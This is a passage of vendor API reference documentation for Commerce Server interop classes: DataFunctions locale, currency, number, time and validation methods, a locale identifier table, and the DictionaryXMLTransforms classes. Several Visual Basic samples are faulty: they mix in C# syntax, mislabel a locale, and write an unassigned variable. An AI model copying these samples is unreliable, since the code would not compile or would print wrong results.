[Visual Basic .NET] If this method completes successfully, it returns a string Object that contains the requested locale information; otherwise, Null is returned.

[C#] This method returns an object containing the requested locale information.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The Locale property stores a number value that indicates the default locale to be used by the DataFunctions methods to format date, time, money, and number information. For those DataFunctions methods take a locale value for a parameter, if that value is not supplied, the value of this property is used.

[Visual Basic .NET]

Example

Dim vtResult As Object
Dim lInfo As Integer
DataFunctions df = New DataFunctions()
' Set Locale to USA
vtResult = df.GetLocaleInfo(lInfo)

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsasphelplib (in mscsasphelplib.dll)

See Also

DataFunctions Class

DataFunctions.Locale


DataFunctions.GetLocaleList Method (PIA)

Use this method to retrieve a SimpleList object that contains the locales available on the computer.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Function GetLocaleList() As Object
[C#]
using Microsoft.CommerceServer.Interop;
…
public object GetLocaleList();

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an Object that references a SimpleList object that specifies the locales available on the computer.

[C#] This method returns a SimpleList object containing the locales available on the computer.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsasphelplib (in mscsasphelplib.dll)

See Also

DataFunctions Class

DataFunctions.Locale


DataFunctions.LocalizeCurrency Method (PIA)

Use this method to retrieve a string representation of a currency value formatted to a specified locale and currency symbol.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Function LocalizeCurrency(
 cyCurrency As Object,
 Optional vtLocale As Object,
 Optional vtCurrencySymbol As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop;
…
public object LocalizeCurrency(
 object cyCurrency,
 object vtLocale,
 object vtCurrencySymbol
);

Parameters

[Visual Basic .NET]
cyCurrency
A currency Object that contains the value to format as a string.
vtLocale
An Object that contains the locale to use when formatting the string.
vtCurrencySymbol
An Object that contains the currency symbol to use when formatting the string.
[C#]
cyCurrency
A currency object that contains the value to format as a string.
vtLocale
An object that contains the locale to use when formatting the string. If you want the value of the Locale property of the DataFunctions object to be used, pass Type.Missing for this parameter.
vtCurrencySymbol
An object that contains the currency symbol to use when formatting the string. If you want the value of the CurrencySymbol property of the DataFunctions object to be used, pass Type.Missing for this parameter.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an Object containing the formatted string.

[C#] This method returns an object containing the string representation of the currency value.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

Example

Dim Result As Object
Dim oAmount As Object
' oAmount is a Currency Object
DataFunctions df = New DataFunctions()
' Set to USA
myLocale = 1033
df.Locale = myLocale
Result = df.LocalizeCurrency(oAmount, myLocale, "$")
Response.Write("USA: " & Result & "<P>")
' Set to Minbar
myLocale = 1036
df.Locale = myLocale
Result = df.LocalizeCurrency(oAmount, myLocale, "MB")
Response.Write("Minbar: " & Result & "<P>")

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsasphelplib (in mscsasphelplib.dll)

See Also

DataFunctions Class

DataFunctions.Locale

DataFunctions.ConvertStringToCurrency


DataFunctions.Money Method (PIA)

Use this method to convert an int that contains a monetary value to an equivalent string representation, based on the default or specified locale.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Function Money(
 lMoney As Integer,
 vtLocale As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop;
…
public object Money(
 int lMoney,
 object vtLocale
);

Parameters

[Visual Basic .NET]
lMoney
An Integer that contains the monetary value to convert to a string, specified in the base monetary unit of the locale used to perform the conversion. (This value is not an OLE currency type.)
vtLocale
An Object that specifies the locale to use to convert the monetary value to a string. If this parameter is not specified, the value of the Locale property of the DataFunctions object is used.
[C#]
lMoney
An int that contains the monetary value to convert to a string, specified in the base monetary unit of the locale used to perform the conversion. (This value is not an OLE currency type.)
vtLocale
An object that specifies the locale to use to convert the monetary value to a string. If you want the value of the Locale property of the DataFunctions object to be used, pass Type.Missing for this parameter.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a string Object that contains a string representation of the specified monetary value; otherwise, Null is returned.

[C#] This method returns an object containing the resultant string.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

Example

Dim Result As Object
Dim Amount As Integer
' Amount is an integer containing a monetary value in base currency units
' (base currency unit for US is cents)
DataFunctions df = New DataFunctions()
myLocale = 1036
df.Locale = myLocale
Result = df.Money(Amount, myLocale)
Response.Write("France: " & Result & "<P>")
myLocale = 1033
df.Locale = myLocale
Result = df.Money(Amount, myLocale)
Response.Write("USA: " & Result)

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsasphelplib (in mscsasphelplib.dll)

See Also

DataFunctions Class

DataFunctions.Locale

DataFunctions.ConvertMoneyStringToNumber


DataFunctions.Number Method (PIA)

Use this method to convert an int to its equivalent string representation, based on the default or specified locale.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Function Number(
 lNumber As Integer,
 vtLocale As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop;
…
public object Number(
 int lNumber,
 object vtLocale
);

Parameters

[Visual Basic .NET]
lNumber
An Integer that contains the number to convert to a string.
vtLocale
An Object that specifies the locale to use to convert the number to a string. If this parameter is not specified, the value of the Locale property of the DataFunctions object is used.
[C#]
lNumber
A long that contains the number to convert to a string.
vtLocale
An object that specifies the locale to use to convert the number to a string. If you want the value of the Locale property of the DataFunctions object to be used, pass Type.Missing for this parameter.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an Object that contains the string representation of the specified number; otherwise, Null is returned.

[C#] This method returns an object containing the string representation of the specified number.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

Example

Dim Result As Object
DataFunctions df = New DataFunctions()
' Set Locale to USA
myLocale = 1033
df.Locale = myLocale
Result = df.Number(9999999.99, myLocale)
Response.Write("USA: " & Result & "<P>")

' Set Locale to France
myLocale = 1036
df.Locale = myLocale
Result = df.Number(9999999, myLocale)
Response.Write("France: " & Result & "<P>")

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsasphelplib (in mscsasphelplib.dll)

See Also

DataFunctions Class

DataFunctions.Locale

DataFunctions.ConvertNumberString


DataFunctions.Time Method (PIA)

Use this method to converts a System.DateTime to a string representation of the time.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Function Time(
 dtDate As Date,
 vtLocale As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop;
…
public object Time(
 System.DateTime dtDate,
 object vtLocale
);

Parameters

[Visual Basic .NET]
dtDate
A Date type that contains the time value to convert.
vtLocale
An Object that specifies the locale to use to convert the time value to a string. If this parameter is not specified, the value of the Locale property of the DataFunctions object is used.
[C#]
dtDate
A System.DateTime type that contains the time value to convert.
vtLocale
An object that specifies the locale to use to convert the time value to a string. If you want the value of the Locale property of the DataFunctions object to be used, pass Type.Missing for this parameter.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a string Object that contains the string representation of the specified time value; otherwise, Null is returned.

[C#] This method returns an object containing the string representation of the specified time value.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

Example

' oResult is an Object, dDate is a Date
DataFunctions df = New DataFunctions()
' Set Locale to USA
myLocale = 1033
df.Locale = myLocale
oResult = df.Time(dDate, myLocale)
Response.Write("USA: " & Result & "<P>")

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsasphelplib (in mscsasphelplib.dll)

See Also

DataFunctions Class

DataFunctions.Locale

DataFunctions.ConvertTimeString


DataFunctions.ValidateDateTime Method (PIA)

Use this method to check whether a string contains a valid date, time, or date and time, and optionally to check against a specified range.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Function ValidateDateTime(
 vtDate As Object,
 vtMin As Object,
 vtMax As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop;
…
public object ValidateDateTime(
 object vtDate,
 object vtMin,
 object vtMax
);

Parameters

[Visual Basic .NET]
vtDate
An Object that contains the value to validate. This value can be a date, a time, or both.
vtMin
An Object that contains a value specifying the low end of the range. The default value for this parameter is Null, which means that the vtMin parameter is ignored in the range validation.
vtMax
An Object that contains a value specifying the high end of the range. The default value for this parameter is Null, which means that the vtMax parameter is ignored in the range validation.
[C#]
vtDate
An object that contains the value to validate. This value can be a date, a time, or both.
vtMin
An object that contains a value specifying the low end of the range. The default value for this parameter is null, which means that the vtMin parameter is ignored in the range validation.
vtMax
An object that contains a value specifying the high end of the range. The default value for this parameter is null, which means that the vtMax parameter is ignored in the range validation.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a Boolean Object indicating whether the vtDate parameter is valid. A value of True indicates the vtDate parameter is a valid date, time, or date/time, and that it is within the given range, if any.

[C#] This method returns an object containing a bool that indicates whether the vtDate parameter is valid. A value of true indicates the vtDate parameter is a valid date, time, or date/time, and that it is within the given range, if any.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

Example

' oResult is an Object, oSourceDate is an Object containing
' a string representation of a date or date and time
DataFunctions df = New DataFunctions()
oResult = df.ValidateDateTime(oSourceDate, "1/1/1900", _
  "12/31/2525")

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsasphelplib (in mscsasphelplib.dll)

See Also

DataFunctions Class

DataFunctions.Date

DataFunctions.DateTime

DataFunctions.Time

DataFunctions.ConvertDateString

DataFunctions.ConvertDateTimeString

DataFunctions.ConvertTimeString


DataFunctions.ValidateFloat Method (PIA)

Use this method to check whether a string contains a valid floating-point number, and to optionally check the value of the number against a specified range.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Function ValidateFloat(
 vtNumber As Object,
 vtMin As Object,
 vtMax As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop;
…
public object ValidateFloat(
 object vtNumber,
 object vtMin,
 object vtMax
);

Parameters

[Visual Basic .NET]
vtNumber
An Object that contains the floating-point number to validate.
vtMin
An Object that contains a value specifying the low end of the range. The default value for this parameter is Null, which means that the vtMin parameter is ignored in the range validation.
vtMax
An Object that contains a value specifying the high end of the range. The default value for this parameter is Null, which means that the vtMax parameter is ignored in the range validation.
[C#]
vtNumber
An object that contains the floating-point number to validate.
vtMin
An object that contains a value specifying the low end of the range. The default value for this parameter is null, which means that the vtMin parameter is ignored in the range validation.
vtMax
An object that contains a value specifying the high end of the range. The default value for this parameter is null, which means that the vtMax parameter is ignored in the range validation.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a Boolean Object that indicates whether the vtNumber parameter is valid. A value of True indicates the vtNumber parameter is a valid floating-point number, and that it is within the given range, if any.

[C#] This method returns an object containing a bool that indicates whether the vtNumber parameter is valid. A value of true indicates the vtNumber parameter is a valid floating-point number, and that it is within the given range, if any.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

Example

Dim Result As Object
Dim Amount As Object
DataFunctions df = New DataFunctions()
' Set Locale to USA
myLocale = 1033
myFloat = 12.33
df.Locale = myLocale
Result = df.ValidateFloat(myFloat, 1, 10)
Response.Write(myFloat & " Is this float between 1 & 10?: " & " " _
    & Result & "<P>")
myFloat = 2.33
Result = df.ValidateFloat(myFloat, 1, 10)
Response.Write(myFloat & " Is this float between 1 & 10?: " & " " _
    & Result & "<P>")

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsasphelplib (in mscsasphelplib.dll)

See Also

DataFunctions Class

DataFunctions.Float

DataFunctions.ConvertFloatString


DataFunctions.ValidateNumber Method (PIA)

Use this method to check whether a string representation of a number is valid, and optionally to check the value of the number against a specified range.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Function ValidateNumber(
 vtNumber As Object,
 vtMin As Object,
 vtMax As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop;
…
public object ValidateNumber(
 object vtNumber,
 object vtMin,
 object vtMax
);

Parameters

[Visual Basic .NET]
vtNumber
An Object that contains a string representation of a number to validate.
vtMin
An Object that contains a value specifying the low end of the range. The default value for this parameter is Null, which means that the vtMin parameter is ignored in the range validation.
vtMax
An Object that contains a value specifying the high end of the range. The default value for the vtMax parameter is Null, which means that this parameter is ignored in the range validation.
[C#]
vtNumber
An object that contains a string representation of a number to validate.
vtMin
An object that contains a value specifying the low end of the range. The default value for this parameter is null, which means that the vtMin parameter is ignored in the range validation.
vtMax
An object that contains a value specifying the high end of the range. The default value for the vtMax parameter is null, which means that this parameter is ignored in the range validation.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a Boolean Object that indicates whether the vtNumber parameter is valid. A value of True indicates the vtNumber parameter is a valid whole number, and that it is within the given range, if any.

[C#] This method returns an object containing a bool that indicates whether the vtNumber parameter is valid. A value of true indicates the vtNumber parameter is a valid whole number, and that it is within the given range, if any.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

Example

Dim Result As Object
Dim Amount As Object
DataFunctions df = New DataFunctions()
' Set Locale to USA
myLocale = 1033
df.Locale = myLocale
myInt = 24
Result = df.ValidateNumber(myInt , 1, 10)
Response.Write(myInt & " Is this integer between 1 & 10?: " & _
    " " & Result & "<P>")
myInt = 2
Result = df.ValidateNumber(myInt , 1, 10)
Response.Write(myInt & " Is this integer between 1 & 10?: " & _
    " " & Result & "<P>")

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsasphelplib (in mscsasphelplib.dll)

See Also

DataFunctions Class

DataFunctions.Number

DataFunctions.ConvertNumberString


DataFunction Properties (PIA)

Properties

Property | Type | Description
Locale | Integer | Stores a number that represents the default locale to be used to format date, time, money, and number values. This property is read/write.
CurrencySymbol | Object | Stores the currency symbol to use if no currency symbol is specified in the ConvertStringToCurrency and LocalizeCurrency methods. The default value is the system default currency symbol. This property is read/write.


DataFunctions.CurrencySymbol Property (PIA)

The CurrencySymbol property is a read/write string object that stores the currency symbol to use if the currency symbol parameter is not specified in the ConvertStringToCurrency and LocalizeCurrency methods. The default value is the system default currency symbol.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Property CurrencySymbol As Object
[C#]
using Microsoft.CommerceServer.Interop;
…
public object CurrencySymbol {get; set;}

Property Value

This property is a string that contains the currency symbol.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsasphelplib (in mscsasphelplib.dll)

See Also

DataFunctions Class

DataFunctions.ConvertStringToCurrency

DataFunctions.LocalizeCurrency


DataFunctions.Locale Property (PIA)

The Locale property is a read/write int that indicates the default locale to be used by the DataFunctions methods to format date, time, money, and number information. Where the DataFunctions methods take a locale value for a parameter, if that value is not supplied, the value to which you initialize this property is used.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Property Locale As Integer
[C#]
using Microsoft.CommerceServer.Interop;
…
public int Locale {get; set;}

Property Value

This property is an integer containing the locale.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

Many of the methods implemented in the Commerce Server objects take locale identifiers. These identifiers are represented by unique hexadecimal codes.

The list of locale and language identifiers can be found in the National Language Support API. This specification can be found in the Microsoft Developer Network. (See Platform SDK, Windows Base Services, International Features).

This list is continually growing and further locale support may be added to any future product.

The following table contains a list of these hexadecimal locale identifiers.

Identifier | Locale
0x0000 | Language Neutral
0x0400 | Process Default Language
0x0401 | Arabic (Saudi Arabia)
0x0801 | Arabic (Iraq)
0x0c01 | Arabic (Egypt)
0x1001 | Arabic (Libya)
0x1401 | Arabic (Algeria)
0x1801 | Arabic (Morocco)
0x1c01 | Arabic (Tunisia)
0x2001 | Arabic (Oman)
0x2401 | Arabic (Yemen)
0x2801 | Arabic (Syria)
0x2c01 | Arabic (Jordan)
0x3001 | Arabic (Lebanon)
0x3401 | Arabic (Kuwait)
0x3801 | Arabic (U.A.E.)
0x3c01 | Arabic (Bahrain)
0x4001 | Arabic (Qatar)
0x0402 | Bulgarian
0x0403 | Catalan
0x0404 | Chinese (Taiwan)
0x0804 | Chinese (PRC)
0x0c04 | Chinese (Hong Kong)
0x1004 | Chinese (Singapore)
0x0405 | Czech
0x0406 | Danish
0x0407 | German (Standard)
0x0807 | German (Swiss)
0x0c07 | German (Austrian)
0x1007 | German (Luxembourg)
0x1407 | German (Liechtenstein)
0x0408 | Greek
0x0409 | English (United States)
0x0809 | English (United Kingdom)
0x0c09 | English (Australian)
0x1009 | English (Canadian)
0x1409 | English (New Zealand)
0x1809 | English (Ireland)
0x1c09 | English (South Africa)
0x2009 | English (Jamaica)
0x2409 | English (Caribbean)
0x2809 | English (Belize)
0x2c09 | English (Trinidad)
0x040a | Spanish (Traditional Sort)
0x080a | Spanish (Mexican)
0x0c0a | Spanish (Modern Sort)
0x100a | Spanish (Guatemala)
0x140a | Spanish (Costa Rica)
0x180a | Spanish (Panama)
0x1c0a | Spanish (Dominican Republic)
0x200a | Spanish (Venezuela)
0x240a | Spanish (Colombia)
0x280a | Spanish (Peru)
0x2c0a | Spanish (Argentina)
0x300a | Spanish (Ecuador)
0x340a | Spanish (Chile)
0x380a | Spanish (Uruguay)
0x3c0a | Spanish (Paraguay)
0x400a | Spanish (Bolivia)
0x440a | Spanish (El Salvador)
0x480a | Spanish (Honduras)
0x4c0a | Spanish (Nicaragua)
0x500a | Spanish (Puerto Rico)
0x040b | Finnish
0x040c | French (Standard)
0x080c | French (Belgian)
0x0c0c | French (Canadian)
0x100c | French (Swiss)
0x140c | French (Luxembourg)
0x040d | Hebrew
0x040e | Hungarian
0x040f | Icelandic
0x0410 | Italian (Standard)
0x0810 | Italian (Swiss)
0x0411 | Japanese
0x0412 | Korean
0x0812 | Korean (Johab)
0x0413 | Dutch (Standard)
0x0813 | Dutch (Belgian)
0x0414 | Norwegian (Bokmal)
0x0814 | Norwegian (Nynorsk)
0x0415 | Polish
0x0416 | Portuguese (Brazilian)
0x0816 | Portuguese (Portugal)
0x0418 | Romanian
0x0419 | Russian
0x041a | Croatian
0x081a | Serbian (Latin)
0x0c1a | Serbian (Cyrillic)
0x041b | Slovak
0x041c | Albanian
0x041d | Swedish
0x081d | Swedish (Finland)
0x041e | Thai
0x041f | Turkish
0x0421 | Indonesian
0x0422 | Ukrainian
0x0423 | Belarusian
0x0424 | Slovenian
0x0425 | Estonian
0x0426 | Latvian
0x0427 | Lithuanian
0x0429 | Farsi
0x042a | Vietnamese
0x042d | Basque
0x0436 | Afrikaans
0x0438 | Faeroese

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsasphelplib (in mscsasphelplib.dll)

See Also

DataFunctions Class

DataFunctions.GetLocaleList

Table of Language Culture Names, Codes, and ISO Values


DictionaryXMLTransforms Class (PIA)

Use this object to transform data from a Dictionary object into Extensible Markup Language (XML) and vice versa, using a specified XML Data Reduced (XDR) schema.

Important

  • The DictionaryXMLTransforms object processes only dictionary keys with names that would be allowable as XML node names. Allowable characters include A-Z and the underscore "_" character. Disallowed characters include"*", "\", etc., and foreign-language characters.
  • Every dictionary key value must be URL-encoded.

Methods

Method | Description
GenerateSampleXMLInstanceFromDictionary | Produces an XML instance based on the specified Dictionary object.
GenerateXMLForDictionaryUsingSchema | Extracts an XML instance from the specified Dictionary object that conforms to the specified schema.
GetXMLFromFile | Generates an XML Document Object Model (DOM) document from the specified file.
ReconstructDictionaryFromXML | Transforms the specified XML instance (which must comply with the specified schema) into a Dictionary object.

Remarks

The example code that calls this method can be found in the Payment.asp and _recvpo.asp files. An example of the use of an XML schema can be found in the POSchema.xml file in the Solution Sites.

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: cs_dictxmlxfrms (in cs_dictxmlxfrms.dll)

See Also

General Purpose Objects

Dictionary Object


DictionaryXMLTransforms Methods (PIA)

Methods

Method | Description
GenerateSampleXMLInstanceFromDictionary | Produces an XML instance based on the specified Dictionary object.
GenerateXMLForDictionaryUsingSchema | Extracts an XML instance from the specified Dictionary object that conforms to the specified schema.
GetXMLFromFile | Generates an XML Document Object Model (DOM) document from the specified file.
ReconstructDictionaryFromXML | Transforms the specified XML instance (which must comply with the specified schema) into a Dictionary object.


DictionaryXMLTransforms.GenerateSampleXMLInstanceFromDictionary Method (PIA)

Use this method to generate an XML Data Reduced (XDR) schema. This method produces an XML instance based on the specified Dictionary object. You can then import this XML instance into a tool (such as the BizTalk Editor) that can construct a schema based on a given instance.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Function GenerateSampleXMLInstanceFromDictionary(
  Dictionary As IDictionary,
  ElementName As String,
  bIgnoreUnderScore As Boolean
) As Object
[C#]
using Microsoft.CommerceServer.Interop;
using MSXMLLib;                               //For IXMLDOMNode
…
public IXMLDOMNode GenerateSampleXMLInstanceFromDictionary(
  IDictionary Dictionary,
  string ElementName,
  bool bIgnoreUnderScore
);

Parameters

[Visual Basic .NET]
Dictionary
Interface to a Dictionary object that contains the data to convert into XML.
ElementName
A String that contains the element name.
bIgnoreUnderScore
A Boolean that that specifies whether to ignore dictionary keys with leading underscores in the dictionary. This value should generally be set to True.
[C#]
Dictionary
An IDictionary interface to a Dictionary object that contains the data to convert into XML.
ElementName
A string that contains the element name.
bIgnoreUnderScore
A bool that specifies whether to ignore dictionary keys with leading underscores in the dictionary. This value should generally be set to true.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an object reference used to return the XML instance.

[C#] This method returns an IXMLDOMNode interface of the newly created XMLDOMNode object containing the XML instance.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

Example

' oDictionaryXMLTransforms is a Commerce.DictionaryXMLTransforms object
' dDict is a Dictionary object; sElement is a string
' oXMLDOMNode is a XMLDOMNode object
oXMLDOMNode = _
oDictionaryXMLTransforms.GenerateSampleXMLInstanceFromDictionary(dDict, _
    sElement, True)

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: cs_dictxmlxfrms (in cs_dictxmlxfrms.dll)

See Also

DictionaryXMLTransforms Class


DictionaryXMLTransforms.GenerateXMLForDictionaryUsingSchema Method (PIA)

Use this method to extract an XML instance from the specified Dictionary object that conforms to the specified schema.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Function GenerateXMLForDictionaryUsingSchema(
  Dictionary As IDictionary,
  xmlSchema As IXMLDOMObject
) As Object
[C#]
using Microsoft.CommerceServer.Interop;
using MSXMLLib;                        //For IXMLDOMNode & IXMLDOMDocument
…
public IXMLDOMNode GenerateXMLForDictionaryUsingSchema(
  IDictionary Dictionary,
  IXMLDOMDocument xmlSchema
);

Parameters

[Visual Basic .NET]
Dictionary
Interface to a Dictionary object that contains the data to be converted.
xmlSchema
An XMLDOMDocument object that contains the XML schema.
[C#]
Dictionary
An IDictionary interface to a Dictionary object that contains the information to be converted.
xmlSchema
An IXMLDOMDocument interface to an XMLDOMDocument object that contains the XML schema.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an XMLDOMDocument object that contains the XML schema.

[C#] This method returns an IXMLDOMNode interface to an XMLDOMNode object that contains the XML instance.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

Example

' oDictionaryXMLTransforms is a Commerce.DictionaryXMLTransforms object
' dDict is a Dictionary object
' oXMLDOMDocument is a XMLDOMDocument object
' oXMLDOMNode is a XMLDOMNode object
oXMLDOMNode = _
oDictionaryXMLTransforms.GenerateXMLForDictionaryUsingSchema(dDict, _
    oXMLDOMDocument)

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: cs_dictxmlxfrms (in cs_dictxmlxfrms.dll)

See Also

DictionaryXMLTransforms Class


DictionaryXMLTransforms.GetXMLFromFile Method (PIA)

Use this method to generate an XML Document Object Model (DOM) document from the specified file.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Function GetXMLFromFile(
  sFileName As String
) As IXMLDOMObject
[C#]
using Microsoft.CommerceServer.Interop;
using MSXMLLib;                        //For IXMLDOMDocument
…
public IXMLDOMDocument GetXMLFromFile(
  string sFileName
);

Parameters

[Visual Basic .NET]
sFileName
A String that contains the name of the file to convert.
[C#]
sFileName
A string that contains the name of the file to convert.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an object reference to an XMLDOMDocument object containing the converted file data.

[C#] This method returns an IXMLDOMDocument interface of the XMLDOMDocument object, which will contain the converted file data.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

Example

' oDictionaryXMLTransforms is a Commerce.DictionaryXMLTransforms object
' dDict is a Dictionary object; sMyFileName.txt is a string
' oXMLDOMDocument is a XMLDOMDocument object
oXMLDOMDocument = _
    oDictionaryXMLTransforms.GetXMLFromFile("sMyFileName.txt")

Remarks

This method does not return an error when the file specified by sFileName is an .exe file, a text file, an invalid XML file, or a nonexistent file. The error type can be found only by viewing the ParseError property of the DOMDocument object.

[C#] The returned interface is valid only if the method completes successfully.

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: cs_dictxmlxfrms (in cs_dictxmlxfrms.dll)

See Also

DictionaryXMLTransforms Class


DictionaryXMLTransforms.ReconstructDictionaryFromXML Method (PIA)

Use this method to transform the specified XML instance (which must comply with the specified schema) into a Dictionary object. This method performs the inverse operation of the GenerateXMLForDictionaryUsingSchema method.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Function ReconstructDictionaryFromXML(
  szDictionaryXML As String,
  xmlSchema As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop;
using MSXMLLib;                        //For IXMLDOMDocument
…
public IDictionary ReconstructDictionaryFromXML(
  string szDictionaryXML,
  IXMLDOMDocument xmlSchema
);

Parameters

[Visual Basic .NET]
szDictionaryXML
A String that contains the XML instance.
xmlSchema
An object reference to a XMLDOMDocument object that contains the XML schema.
[C#]
szDictionaryXML
A string that contains the XML instance.
xmlSchema
An IXMLDOMDocument interface to an XMLDOMDocument object that contains the XML schema used in the conversion.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an object reference to a Dictionary object that contains the converted data.

[C#] This method returns an IDictionary interface of the reconstructed Dictionary object.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

Example

' oDictionaryXMLTransforms is a Commerce.DictionaryXMLTransforms object
' dDict is a Dictionary object; sMyXMLInstance is a string
' oXMLDOMDocument is a XMLDOMDocument object
dDict = _
oDictionaryXMLTransforms.ReconstructDictionaryFromXML(sMyXMLInstance, _
    oXMLDOMDocument)

Remarks

[C#] The returned interface is valid only if the method completes successfully.

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: cs_dictxmlxfrms (in cs_dictxmlxfrms.dll)

See Also

DictionaryXMLTransforms Class


DictionaryXMLTransformsFreeThreaded Class (PIA)

Use this object to transform data from a Dictionary object into Extensible Markup Language (XML) and vice versa, using a specified XML Data Reduced (XDR) schema.

Important

  • The DictionaryXMLTransformsFreeThreaded object processes only dictionary keys with names that would be allowable as XML node names. Allowable characters include A-Z and the underscore "_" character. Disallowed characters include"*", "\", etc., and foreign-language characters.
  • Every dictionary key value must be URL-encoded.

Methods

Method | Description
GenerateSampleXMLInstanceFromDictionary (OrderForm, String, Boolean) | Produces an XML instance based on the specified OrderForm object.
GenerateSampleXMLInstanceFromDictionary (IDictionary, String, Boolean) | Produces an XML instance based on the specified Dictionary object.
GenerateXMLForDictionaryUsingSchema (OrderForm, IXMLDOMDocument) | Extracts an XML instance from the specified OrderForm object that conforms to the specified schema.
GenerateXMLForDictionaryUsingSchema (IDictionary, IXMLDOMDocument) | Extracts an XML instance from the specified Dictionary object that conforms to the specified schema.
GetXMLFromFile | Generates an XML Document Object Model (DOM) document from the specified file.
ReconstructDictionaryFromXML | Transforms the specified XML instance (which must comply with the specified schema) into a Dictionary object.

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.DictionaryXMLTransform.dll


DictionaryXMLTransformsFreeThreaded Methods (PIA)

Methods

Method | Description
GenerateSampleXMLInstanceFromDictionary (OrderForm, String, Boolean) | Produces an XML instance based on the specified OrderForm object.
GenerateSampleXMLInstanceFromDictionary (IDictionary, String, Boolean) | Produces an XML instance based on the specified Dictionary object.
GenerateXMLForDictionaryUsingSchema (OrderForm, IXMLDOMDocument) | Extracts an XML instance from the specified OrderForm object that conforms to the specified schema.
